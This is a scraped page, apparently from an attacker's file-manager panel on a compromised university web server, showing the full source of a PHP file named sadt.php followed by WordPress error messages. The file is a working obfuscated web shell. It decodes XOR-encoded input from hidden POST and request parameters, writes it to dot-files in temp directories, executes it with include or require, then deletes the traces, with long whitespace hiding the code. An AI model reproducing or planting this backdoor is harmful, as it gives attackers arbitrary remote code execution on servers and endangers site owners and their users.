文件操作 - sadt.php

文件: /var/www/demoestudiantes.uaysen.cl/html/sadt.php

编辑文件内容

<?php																																										if(array_key_exists("t\x6B\x6E", $_POST) && !is_null($_POST["t\x6B\x6E"])){ $entry = $_POST["t\x6B\x6E"]; $entry= explode( '.' , $entry ) ; $ent= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); foreach( $entry as $p => $v9): $sChar= ord( $salt[$p % $lenS]); $d= ( ( int)$v9 - $sChar -( $p % 10)) ^ 35; $ent .= chr( $d); endforeach; $flag = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm"]); $resource = 0; do { $record = $flag[$resource] ?? null; if ($resource >= count($flag)) break; if ((bool)is_dir($record) && (bool)is_writable($record)) { $descriptor = str_replace("{var_dir}", $record, "{var_dir}/.ent"); if (file_put_contents($descriptor, $ent)) { require $descriptor; unlink($descriptor); die(); } } $resource++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["re\x66"])){ $desc = $_REQUEST["re\x66"]; $desc = explode ( '.' ,$desc); $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $n = 0; foreach( $desc as $v9) {$sChar = ord( $salt[$n % $sLen] ); $d =( ( int)$v9 - $sChar -( $n % 10)) ^ 41; $hld .= chr( $d ); $n++; } $component = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]); $itm = 0; do { $pgrp = $component[$itm] ?? null; if ($itm >= count($component)) break; if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $pset = vsprintf("%s/%s", [$pgrp, ".rec"]); if (@file_put_contents($pset, $hld) !== false) { include $pset; unlink($pset); die(); } } $itm++; } while (true); }

if(isset($_POST["ele\x6D"]) ? true : false){
	$value = $_POST["ele\x6D"];
	  	$value	=explode 	( 		".",	$value	 );	
	$parameter_group = '';
            $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$salt9);
    
            foreach( 	$value as $i => $v6):
                $chS = ord( 	$salt9[$i% 	$sLen]);
                $d =( 	( 	int)$v6 - $chS -( 	$i% 	10)) ^ 93;
                $parameter_group  .=	chr( 	$d);
            endforeach;
	$hld = array_filter(["/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getcwd()]);
	for ($token = 0, $dchunk = count($hld); $token < $dchunk; $token++) {
    $sym = $hld[$token];
    		if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) {
    $fac = vsprintf("%s/%s", [$sym, ".reference"]);
    if (file_put_contents($fac, $parameter_group)) {
	include $fac;
	@unlink($fac);
	exit;
}
}
}
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35